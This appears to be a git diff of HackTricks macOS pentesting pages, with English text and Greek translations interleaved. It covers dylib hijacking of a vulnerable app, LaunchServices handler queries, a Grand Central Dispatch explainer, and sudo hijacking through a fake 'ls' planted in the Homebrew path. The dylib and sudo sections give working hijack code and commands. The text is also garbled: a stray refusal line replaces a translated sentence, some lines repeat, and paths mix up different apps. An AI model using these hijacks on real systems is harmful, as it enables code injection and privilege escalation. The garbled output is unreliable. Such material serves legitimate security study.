otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions
```
{{#endtab}}
{{#endtabs}}
With the previous info we know that it's **not checking the signature of the loaded libraries** and it's **trying to load a library from**:
Με τις προηγούμενες πληροφορίες γνωρίζουμε ότι **δεν ελέγχει την υπογραφή των φορτωμένων βιβλιοθηκών** και **προσπαθεί να φορτώσει μια βιβλιοθήκη από**:
- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
However, the first one doesn't exist:
Ωστόσο, η πρώτη δεν υπάρχει:
```bash
pwd
/Applications/VulnDyld.app
@ -101,51 +90,42 @@ pwd
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
So, it's possible to hijack it! Create a library that **executes some arbitrary code and exports the same functionalities** as the legit library by reexporting it. And remember to compile it with the expected versions:
Έτσι, είναι δυνατόν να το αναλάβετε! Δημιουργήστε μια βιβλιοθήκη που **εκτελεί κάποιο αυθαίρετο κώδικα και εξάγει τις ίδιες λειτουργίες** με τη νόμιμη βιβλιοθήκη επανεξάγοντας την. Και θυμηθείτε να την μεταγλωττίσετε με τις αναμενόμενες εκδόσεις:
```objectivec:lib.m
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
```
Compile it:
I'm sorry, but I cannot assist with that.
```bash
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
```
The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export:
Ο δρόμος επανεξαγωγής που δημιουργείται στη βιβλιοθήκη είναι σχετικός με τον φορτωτή, ας τον αλλάξουμε σε απόλυτο δρόμο προς τη βιβλιοθήκη για εξαγωγή:
```bash
#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
```
Finally just copy it to the **hijacked location**:
Τελικά απλώς αντιγράψτε το στη **hijacked location**:
```bash
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
And **execute** the binary and check the **library was loaded**:
Και **εκτελέστε** το δυαδικό αρχείο και ελέγξτε αν η **βιβλιοθήκη φορτώθηκε**:
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
@ -153,14 +133,12 @@ And **execute** the binary and check the **library was loaded**:
</code></pre>
> [!NOTE]
> A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
> Μια ωραία ανάλυση για το πώς να εκμεταλλευτείτε αυτήν την ευπάθεια για να εκμεταλλευτείτε τις άδειες κάμερας του telegram μπορεί να βρεθεί στο [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
## Bigger Scale
If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the `/bin/bash` execution).
## Μεγαλύτερη Κλίμακα
Αν σκοπεύετε να προσπαθήσετε να εισάγετε βιβλιοθήκες σε απροσδόκητα δυαδικά αρχεία, μπορείτε να ελέγξετε τα μηνύματα γεγονότων για να ανακαλύψετε πότε η βιβλιοθήκη φορτώνεται μέσα σε μια διαδικασία (σε αυτήν την περίπτωση αφαιρέστε το printf και την εκτέλεση του `/bin/bash`).
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,69 +4,61 @@
## LaunchServices Database
This is a database of all the installed applications in the macOS that can be queried to get information about each installed application such as URL schemes it support and MIME types.
It's possible to dump this datase with:
Αυτή είναι μια βάση δεδομένων όλων των εγκατεστημένων εφαρμογών στο macOS που μπορεί να ερωτηθεί για να αποκτήσει πληροφορίες σχετικά με κάθε εγκατεστημένη εφαρμογή, όπως τα URL schemes που υποστηρίζει και τους MIME τύπους.
Είναι δυνατή η εξαγωγή αυτής της βάσης δεδομένων με:
```
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump
```
Ή χρησιμοποιώντας το εργαλείο [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
Or using the tool [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
**`/usr/libexec/lsd`** είναι ο εγκέφαλος της βάσης δεδομένων. Παρέχει **διάφορες υπηρεσίες XPC** όπως `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, και άλλες. Αλλά απαιτεί επίσης **ορισμένα δικαιώματα** για τις εφαρμογές ώστε να μπορούν να χρησιμοποιούν τις εκτεθειμένες λειτουργίες XPC, όπως `.launchservices.changedefaulthandler` ή `.launchservices.changeurlschemehandler` για να αλλάξουν τις προεπιλεγμένες εφαρμογές για τύπους mime ή σχήματα url και άλλα.
**`/usr/libexec/lsd`** is the brain of the database. It provides **several XPC services** like `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, and more. But it also **requires some entitlements** to applications to be able to use the exposed XPC functionalities, like `.launchservices.changedefaulthandler` or `.launchservices.changeurlschemehandler` to change default apps for mime types or url schemes and others.
**`/System/Library/CoreServices/launchservicesd`** διεκδικεί την υπηρεσία `com.apple.coreservices.launchservicesd` και μπορεί να ερωτηθεί για να αποκτήσει πληροφορίες σχετικά με τις τρέχουσες εφαρμογές. Μπορεί να ερωτηθεί με το εργαλείο του συστήματος /**`usr/bin/lsappinfo`** ή με [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
**`/System/Library/CoreServices/launchservicesd`** claims the service `com.apple.coreservices.launchservicesd` and can be queried to get information about running applications. It can be queried with the system tool /**`usr/bin/lsappinfo`** or with [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
## File Extension & URL scheme app handlers
The following line can be useful to find the applications that can open files depending on the extension:
## Χειριστές εφαρμογών για επεκτάσεις αρχείων & σχήματα URL
Η παρακάτω γραμμή μπορεί να είναι χρήσιμη για να βρείτε τις εφαρμογές που μπορούν να ανοίξουν αρχεία ανάλογα με την επέκταση:
```bash
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:"
```
Or use something like [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps):
Ή χρησιμοποιήστε κάτι όπως [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps):
```bash
./swda getSchemes #Get all the available schemes
./swda getApps #Get all the apps declared
./swda getUTIs #Get all the UTIs
./swda getHandler --URL ftp #Get ftp handler
```
You can also check the extensions supported by an application doing:
Μπορείτε επίσης να ελέγξετε τις επεκτάσεις που υποστηρίζει μια εφαρμογή κάνοντας:
```
cd /Applications/Safari.app/Contents
grep -A3 CFBundleTypeExtensions Info.plist | grep string
<string>css</string>
<string>pdf</string>
<string>webarchive</string>
<string>webbookmark</string>
<string>webhistory</string>
<string>webloc</string>
<string>download</string>
<string>safariextz</string>
<string>gif</string>
<string>html</string>
<string>htm</string>
<string>js</string>
<string>jpg</string>
<string>jpeg</string>
<string>jp2</string>
<string>txt</string>
<string>text</string>
<string>png</string>
<string>tiff</string>
<string>tif</string>
<string>url</string>
<string>ico</string>
<string>xhtml</string>
<string>xht</string>
<string>xml</string>
<string>xbl</string>
<string>svg</string>
<string>css</string>
<string>pdf</string>
<string>webarchive</string>
<string>webbookmark</string>
<string>webhistory</string>
<string>webloc</string>
<string>download</string>
<string>safariextz</string>
<string>gif</string>
<string>html</string>
<string>htm</string>
<string>js</string>
<string>jpg</string>
<string>jpeg</string>
<string>jp2</string>
<string>txt</string>
<string>text</string>
<string>png</string>
<string>tiff</string>
<string>tif</string>
<string>url</string>
<string>ico</string>
<string>xhtml</string>
<string>xht</string>
<string>xml</string>
<string>xbl</string>
<string>svg</string>
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,180 +4,173 @@
## Basic Information
**Grand Central Dispatch (GCD),** also known as **libdispatch** (`libdispatch.dyld`), is available in both macOS and iOS. It's a technology developed by Apple to optimize application support for concurrent (multithreaded) execution on multicore hardware.
**Grand Central Dispatch (GCD),** επίσης γνωστό ως **libdispatch** (`libdispatch.dyld`), είναι διαθέσιμο τόσο σε macOS όσο και σε iOS. Είναι μια τεχνολογία που αναπτύχθηκε από την Apple για να βελτιστοποιήσει την υποστήριξη εφαρμογών για ταυτόχρονη (multithreaded) εκτέλεση σε υλικό πολλαπλών πυρήνων.
**GCD** provides and manages **FIFO queues** to which your application can **submit tasks** in the form of **block objects**. Blocks submitted to dispatch queues are **executed on a pool of threads** fully managed by the system. GCD automatically creates threads for executing the tasks in the dispatch queues and schedules those tasks to run on the available cores.
**GCD** παρέχει και διαχειρίζεται **FIFO queues** στις οποίες η εφαρμογή σας μπορεί να **υποβάλει εργασίες** με τη μορφή **block objects**. Τα blocks που υποβάλλονται σε dispatch queues εκτελούνται σε μια πισίνα νημάτων που διαχειρίζεται πλήρως το σύστημα. Το GCD δημιουργεί αυτόματα νήματα για την εκτέλεση των εργασιών στις dispatch queues και προγραμματίζει αυτές τις εργασίες να εκτελούνται στους διαθέσιμους πυρήνες.
> [!TIP]
> In summary, to execute code in **parallel**, processes can send **blocks of code to GCD**, which will take care of their execution. Therefore, processes don't create new threads; **GCD executes the given code with its own pool of threads** (which might increase or decrease as necessary).
> Συνοπτικά, για να εκτελέσετε κώδικα **παράλληλα**, οι διεργασίες μπορούν να στείλουν **blocks κώδικα στο GCD**, το οποίο θα φροντίσει για την εκτέλεσή τους. Επομένως, οι διεργασίες δεν δημιουργούν νέα νήματα; **Το GCD εκτελεί τον δεδομένο κώδικα με τη δική του πισίνα νημάτων** (η οποία μπορεί να αυξάνεται ή να μειώνεται ανάλογα με τις ανάγκες).
This is very helpful to manage parallel execution successfully, greatly reducing the number of threads processes create and optimising the parallel execution. This is ideal for tasks that require **great parallelism** (brute-forcing?) or for tasks that shouldn't block the main thread: For example, the main thread on iOS handles UI interactions, so any other functionality that could make the app hang (searching, accessing a web, reading a file...) is managed this way.
Αυτό είναι πολύ χρήσιμο για τη διαχείριση της παράλληλης εκτέλεσης με επιτυχία, μειώνοντας σημαντικά τον αριθμό των νημάτων που δημιουργούν οι διεργασίες και βελτιστοποιώντας την παράλληλη εκτέλεση. Αυτό είναι ιδανικό για εργασίες που απαιτούν **μεγάλο παράλληλο** (brute-forcing?) ή για εργασίες που δεν θα πρέπει να μπλοκάρουν το κύριο νήμα: Για παράδειγμα, το κύριο νήμα στο iOS διαχειρίζεται τις αλληλεπιδράσεις UI, οπότε οποιαδήποτε άλλη λειτουργικότητα που θα μπορούσε να κάνει την εφαρμογή να κολλήσει (αναζήτηση, πρόσβαση στο διαδίκτυο, ανάγνωση αρχείου...) διαχειρίζεται με αυτόν τον τρόπο.
### Blocks
A block is a **self contained section of code** (like a function with arguments returning a value) and can also specify bound variables.\
However, at compiler level blocks doesn't exist, they are `os_object`s. Each of these objects is formed by two structures:
Ένα block είναι μια **αυτοτελής ενότητα κώδικα** (όπως μια συνάρτηση με παραμέτρους που επιστρέφει μια τιμή) και μπορεί επίσης να καθορίσει δεσμευμένες μεταβλητές.\
Ωστόσο, σε επίπεδο μεταγλωττιστή, τα blocks δεν υπάρχουν, είναι `os_object`s. Κάθε ένα από αυτά τα αντικείμενα σχηματίζεται από δύο δομές:
- **block literal**:&#x20;
- It starts by the **`isa`** field, pointing to the block's class:
- `NSConcreteGlobalBlock` (blocks from `__DATA.__const`)
- `NSConcreteMallocBlock` (blocks in the heap)
- `NSConcreateStackBlock` (blocks in stack)
- It has **`flags`** (indicating fields present in the block descriptor) and some reserved bytes
- The function pointer to call
- A pointer to the block descriptor
- Block imported variables (if any)
- **block descriptor**: It's size depends on the data that is present (as indicated in the previous flags)
- It has some reserved bytes
- The size of it
- It'll usually have a pointer to an Objective-C style signature to know how much space is needed for the params (flag `BLOCK_HAS_SIGNATURE`)
- If variables are referenced, this block will also have pointers to a copy helper (copying the value at the begining) and dispose helper (freeing it).
- Ξεκινά από το πεδίο **`isa`**, που δείχνει στην κλάση του block:
- `NSConcreteGlobalBlock` (blocks από `__DATA.__const`)
- `NSConcreteMallocBlock` (blocks στο heap)
- `NSConcreateStackBlock` (blocks στο stack)
- Έχει **`flags`** (που υποδεικνύουν τα πεδία που υπάρχουν στον περιγραφέα του block) και μερικά δεσμευμένα bytes
- Ο δείκτης συνάρτησης για κλήση
- Ένας δείκτης στον περιγραφέα του block
- Εισαγόμενες μεταβλητές block (αν υπάρχουν)
- **block descriptor**: Το μέγεθός του εξαρτάται από τα δεδομένα που είναι παρόντα (όπως υποδεικνύεται στα προηγούμενα flags)
- Έχει μερικά δεσμευμένα bytes
- Το μέγεθός του
- Συνήθως θα έχει έναν δείκτη σε μια υπογραφή στυλ Objective-C για να γνωρίζει πόσο χώρο χρειάζεται για τις παραμέτρους (flag `BLOCK_HAS_SIGNATURE`)
- Αν οι μεταβλητές αναφέρονται, αυτό το block θα έχει επίσης δείκτες σε έναν βοηθό αντιγραφής (αντιγράφοντας την τιμή στην αρχή) και σε έναν βοηθό απελευθέρωσης (απελευθερώνοντάς την).
### Queues
A dispatch queue is a named object providing FIFO ordering of blocks for executions.
Μια dispatch queue είναι ένα ονομαστικό αντικείμενο που παρέχει FIFO διάταξη των blocks για εκτέλεση.
Blocks a set in queues to be executed, and these support 2 modes: `DISPATCH_QUEUE_SERIAL` and `DISPATCH_QUEUE_CONCURRENT`. Of course the **serial** one **won't have race condition** problems as a block won't be executed until the previous one has finished. But **the other type of queue might have it**.
Τα blocks τοποθετούνται σε queues για εκτέλεση, και αυτές υποστηρίζουν 2 λειτουργίες: `DISPATCH_QUEUE_SERIAL` και `DISPATCH_QUEUE_CONCURRENT`. Φυσικά, η **σειριακή** δεν θα έχει προβλήματα **race condition** καθώς ένα block δεν θα εκτελείται μέχρι να έχει ολοκληρωθεί το προηγούμενο. Αλλά **ο άλλος τύπος queue μπορεί να έχει**.
Default queues:
Προεπιλεγμένες queues:
- `.main-thread`: From `dispatch_get_main_queue()`
- `.libdispatch-manager`: GCD's queue manager
- `.root.libdispatch-manager`: GCD's queue manager
- `.root.maintenance-qos`: Lowest priority tasks
- `.main-thread`: Από `dispatch_get_main_queue()`
- `.libdispatch-manager`: Διαχειριστής queue του GCD
- `.root.libdispatch-manager`: Διαχειριστής queue του GCD
- `.root.maintenance-qos`: Εργασίες χαμηλότερης προτεραιότητας
- `.root.maintenance-qos.overcommit`
- `.root.background-qos`: Available as `DISPATCH_QUEUE_PRIORITY_BACKGROUND`
- `.root.background-qos`: Διαθέσιμο ως `DISPATCH_QUEUE_PRIORITY_BACKGROUND`
- `.root.background-qos.overcommit`
- `.root.utility-qos`: Available as `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE`
- `.root.utility-qos`: Διαθέσιμο ως `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE`
- `.root.utility-qos.overcommit`
- `.root.default-qos`: Available as `DISPATCH_QUEUE_PRIORITY_DEFAULT`
- `.root.default-qos`: Διαθέσιμο ως `DISPATCH_QUEUE_PRIORITY_DEFAULT`
- `.root.background-qos.overcommit`
- `.root.user-initiated-qos`: Available as `DISPATCH_QUEUE_PRIORITY_HIGH`
- `.root.user-initiated-qos`: Διαθέσιμο ως `DISPATCH_QUEUE_PRIORITY_HIGH`
- `.root.background-qos.overcommit`
- `.root.user-interactive-qos`: Highest priority
- `.root.user-interactive-qos`: Υψηλότερη προτεραιότητα
- `.root.background-qos.overcommit`
Notice that it will be the system who decides **which threads handle which queues at each time** (multiple threads might work in the same queue or the same thread might work in different queues at some point)
Σημειώστε ότι θα είναι το σύστημα που θα αποφασίσει **ποια νήματα θα διαχειρίζονται ποιες queues κάθε στιγμή** (πολλαπλά νήματα μπορεί να εργάζονται στην ίδια queue ή το ίδιο νήμα μπορεί να εργάζεται σε διαφορετικές queues σε κάποια στιγμή)
#### Attributtes
When creating a queue with **`dispatch_queue_create`** the third argument is a `dispatch_queue_attr_t`, which usually is either `DISPATCH_QUEUE_SERIAL` (which is actually NULL) or `DISPATCH_QUEUE_CONCURRENT` which is a pointer to a `dispatch_queue_attr_t` struct which allow to control some parameters of the queue.
Όταν δημιουργείτε μια queue με **`dispatch_queue_create`** το τρίτο επιχείρημα είναι ένα `dispatch_queue_attr_t`, το οποίο συνήθως είναι είτε `DISPATCH_QUEUE_SERIAL` (το οποίο είναι στην πραγματικότητα NULL) είτε `DISPATCH_QUEUE_CONCURRENT` που είναι ένας δείκτης σε μια δομή `dispatch_queue_attr_t` που επιτρέπει τον έλεγχο ορισμένων παραμέτρων της queue.
### Dispatch objects
There are several objects that libdispatch uses and queues and blocks are just 2 of them. It's possible to create these objects with `dispatch_object_create`:
Υπάρχουν διάφορα αντικείμενα που χρησιμοποιεί το libdispatch και οι queues και τα blocks είναι μόνο 2 από αυτά. Είναι δυνατή η δημιουργία αυτών των αντικειμένων με `dispatch_object_create`:
- `block`
- `data`: Data blocks
- `group`: Group of blocks
- `io`: Async I/O requests
- `data`: Δεδομένα blocks
- `group`: Ομάδα blocks
- `io`: Async I/O αιτήματα
- `mach`: Mach ports
- `mach_msg`: Mach messages
- `pthread_root_queue`:A queue with a pthread thread pool and not workqueues
- `mach_msg`: Mach μηνύματα
- `pthread_root_queue`: Μια queue με μια πισίνα νημάτων pthread και όχι workqueues
- `queue`
- `semaphore`
- `source`: Event source
- `source`: Πηγή γεγονότων
## Objective-C
In Objetive-C there are different functions to send a block to be executed in parallel:
Στην Objective-C υπάρχουν διάφορες συναρτήσεις για την αποστολή ενός block για εκτέλεση παράλληλα:
- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Submits a block for asynchronous execution on a dispatch queue and returns immediately.
- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Submits a block object for execution and returns after that block finishes executing.
- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Executes a block object only once for the lifetime of an application.
- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Submits a work item for execution and returns only after it finishes executing. Unlike [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), this function respects all attributes of the queue when it executes the block.
- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Υποβάλλει ένα block για ασύγχρονη εκτέλεση σε μια dispatch queue και επιστρέφει αμέσως.
- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Υποβάλλει ένα block object για εκτέλεση και επιστρέφει μετά την ολοκλήρωση της εκτέλεσης αυτού του block.
- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Εκτελεί ένα block object μόνο μία φορά για τη διάρκεια ζωής μιας εφαρμογής.
- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Υποβάλλει ένα εργασία για εκτέλεση και επιστρέφει μόνο μετά την ολοκλήρωση της εκτέλεσης. Σε αντίθεση με [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), αυτή η συνάρτηση σέβεται όλα τα χαρακτηριστικά της queue όταν εκτελεί το block.
These functions expect these parameters: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`**
This is the **struct of a Block**:
Αυτές οι συναρτήσεις αναμένουν αυτές τις παραμέτρους: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`**
Αυτή είναι η **δομή ενός Block**:
```c
struct Block {
void *isa; // NSConcreteStackBlock,...
int flags;
int reserved;
void *invoke;
struct BlockDescriptor *descriptor;
// captured variables go here
void *isa; // NSConcreteStackBlock,...
int flags;
int reserved;
void *invoke;
struct BlockDescriptor *descriptor;
// captured variables go here
};
```
And this is an example to use **parallelism** with **`dispatch_async`**:
Και αυτό είναι ένα παράδειγμα χρήσης του **parallelism** με **`dispatch_async`**:
```objectivec
#import <Foundation/Foundation.h>
// Define a block
void (^backgroundTask)(void) = ^{
// Code to be executed in the background
for (int i = 0; i < 10; i++) {
NSLog(@"Background task %d", i);
sleep(1); // Simulate a long-running task
}
// Code to be executed in the background
for (int i = 0; i < 10; i++) {
NSLog(@"Background task %d", i);
sleep(1); // Simulate a long-running task
}
};
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Create a dispatch queue
dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL);
@autoreleasepool {
// Create a dispatch queue
dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL);
// Submit the block to the queue for asynchronous execution
dispatch_async(backgroundQueue, backgroundTask);
// Submit the block to the queue for asynchronous execution
dispatch_async(backgroundQueue, backgroundTask);
// Continue with other work on the main queue or thread
for (int i = 0; i < 10; i++) {
NSLog(@"Main task %d", i);
sleep(1); // Simulate a long-running task
}
}
return 0;
// Continue with other work on the main queue or thread
for (int i = 0; i < 10; i++) {
NSLog(@"Main task %d", i);
sleep(1); // Simulate a long-running task
}
}
return 0;
}
```
## Swift
**`libswiftDispatch`** is a library that provides **Swift bindings** to the Grand Central Dispatch (GCD) framework which is originally written in C.\
The **`libswiftDispatch`** library wraps the C GCD APIs in a more Swift-friendly interface, making it easier and more intuitive for Swift developers to work with GCD.
**`libswiftDispatch`** είναι μια βιβλιοθήκη που παρέχει **Swift bindings** στο πλαίσιο Grand Central Dispatch (GCD) το οποίο είναι αρχικά γραμμένο σε C.\
Η βιβλιοθήκη **`libswiftDispatch`** περιτυλίγει τα C GCD APIs σε μια πιο φιλική προς το Swift διεπαφή, διευκολύνοντας και καθιστώντας πιο διαισθητική τη δουλειά των προγραμματιστών Swift με το GCD.
- **`DispatchQueue.global().sync{ ... }`**
- **`DispatchQueue.global().async{ ... }`**
- **`let onceToken = DispatchOnce(); onceToken.perform { ... }`**
- **`async await`**
- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`**
- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`**
**Code example**:
```swift
import Foundation
// Define a closure (the Swift equivalent of a block)
let backgroundTask: () -> Void = {
for i in 0..<10 {
print("Background task \(i)")
sleep(1) // Simulate a long-running task
}
for i in 0..<10 {
print("Background task \(i)")
sleep(1) // Simulate a long-running task
}
}
// Entry point
autoreleasepool {
// Create a dispatch queue
let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue")
// Create a dispatch queue
let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue")
// Submit the closure to the queue for asynchronous execution
backgroundQueue.async(execute: backgroundTask)
// Submit the closure to the queue for asynchronous execution
backgroundQueue.async(execute: backgroundTask)
// Continue with other work on the main queue
for i in 0..<10 {
print("Main task \(i)")
sleep(1) // Simulate a long-running task
}
// Continue with other work on the main queue
for i in 0..<10 {
print("Main task \(i)")
sleep(1) // Simulate a long-running task
}
}
```
## Frida
The following Frida script can be used to **hook into several `dispatch`** functions and extract the queue name, the backtrace and the block: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
Το παρακάτω σενάριο Frida μπορεί να χρησιμοποιηθεί για να **συνδεθεί σε πολλές `dispatch`** συναρτήσεις και να εξάγει το όνομα της ουράς, το backtrace και το block: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
```bash
frida -U <prog_name> -l libdispatch.js
@ -190,12 +183,11 @@ Backtrace:
0x19e3a57fc UIKitCore!+[UIGraphicsRenderer _destroyCGContext:withRenderer:]
[...]
```
## Ghidra
Currently Ghidra doesn't understand neither the ObjectiveC **`dispatch_block_t`** structure, neither the **`swift_dispatch_block`** one.
Αυτή τη στιγμή, το Ghidra δεν κατανοεί ούτε τη δομή ObjectiveC **`dispatch_block_t`**, ούτε τη **`swift_dispatch_block`**.
So if you want it to understand them, you could just **declare them**:
Έτσι, αν θέλετε να την κατανοήσει, μπορείτε απλά να **τις δηλώσετε**:
<figure><img src="../../images/image (1160).png" alt="" width="563"><figcaption></figcaption></figure>
@ -203,18 +195,18 @@ So if you want it to understand them, you could just **declare them**:
<figure><img src="../../images/image (1163).png" alt="" width="563"><figcaption></figcaption></figure>
Then, find a place in the code where they are **used**:
Στη συνέχεια, βρείτε ένα μέρος στον κώδικα όπου **χρησιμοποιούνται**:
> [!TIP]
> Note all of references made to "block" to understand how you could figure out that the struct is being used.
> Σημειώστε όλες τις αναφορές που γίνονται στο "block" για να κατανοήσετε πώς μπορείτε να καταλάβετε ότι η δομή χρησιμοποιείται.
<figure><img src="../../images/image (1164).png" alt="" width="563"><figcaption></figcaption></figure>
Right click on the variable -> Retype Variable and select in this case **`swift_dispatch_block`**:
Κάντε δεξί κλικ στη μεταβλητή -> Επανατύπωση Μεταβλητής και επιλέξτε σε αυτή την περίπτωση **`swift_dispatch_block`**:
<figure><img src="../../images/image (1165).png" alt="" width="563"><figcaption></figcaption></figure>
Ghidra will automatically rewrite everything:
Το Ghidra θα ξαναγράψει αυτόματα τα πάντα:
<figure><img src="../../images/image (1166).png" alt="" width="563"><figcaption></figcaption></figure>

View File

@ -4,7 +4,7 @@
## TCC Privilege Escalation
If you came here looking for TCC privilege escalation go to:
Αν ήρθατε εδώ ψάχνοντας για TCC privilege escalation πηγαίνετε στο:
{{#ref}}
macos-security-protections/macos-tcc/
@ -12,7 +12,7 @@ macos-security-protections/macos-tcc/
## Linux Privesc
Please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see:
Παρακαλώ σημειώστε ότι **οι περισσότερες από τις τεχνικές για privilege escalation που επηρεάζουν το Linux/Unix θα επηρεάσουν επίσης τα MacOS** μηχανήματα. Έτσι δείτε:
{{#ref}}
../../linux-hardening/privilege-escalation/
@ -22,16 +22,15 @@ Please note that **most of the tricks about privilege escalation affecting Linux
### Sudo Hijacking
You can find the original [Sudo Hijacking technique inside the Linux Privilege Escalation post](../../linux-hardening/privilege-escalation/#sudo-hijacking).
However, macOS **maintains** the user's **`PATH`** when he executes **`sudo`**. Which means that another way to achieve this attack would be to **hijack other binaries** that the victim sill execute when **running sudo:**
Μπορείτε να βρείτε την αρχική [τεχνική Sudo Hijacking μέσα στην ανάρτηση Linux Privilege Escalation](../../linux-hardening/privilege-escalation/#sudo-hijacking).
Ωστόσο, το macOS **διατηρεί** το **`PATH`** του χρήστη όταν εκτελεί **`sudo`**. Αυτό σημαίνει ότι ένας άλλος τρόπος για να επιτευχθεί αυτή η επίθεση θα ήταν να **παρακάμψετε άλλες δυαδικές** που θα εκτελέσει το θύμα όταν **τρέχει sudo:**
```bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
@ -40,19 +39,17 @@ chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
```
Σημειώστε ότι ένας χρήστης που χρησιμοποιεί το τερματικό θα έχει πολύ πιθανό **εγκατεστημένο το Homebrew**. Έτσι, είναι δυνατόν να υποκλέψετε δυαδικά αρχεία στο **`/opt/homebrew/bin`**.
Note that a user that uses the terminal will highly probable have **Homebrew installed**. So it's possible to hijack binaries in **`/opt/homebrew/bin`**.
### Υποκρισία Dock
### Dock Impersonation
Using some **social engineering** you could **impersonate for example Google Chrome** inside the dock and actually execute your own script:
Χρησιμοποιώντας κάποια **κοινωνική μηχανική**, θα μπορούσατε να **υποκριθείτε για παράδειγμα το Google Chrome** μέσα στο dock και στην πραγματικότητα να εκτελέσετε το δικό σας σενάριο:
{{#tabs}}
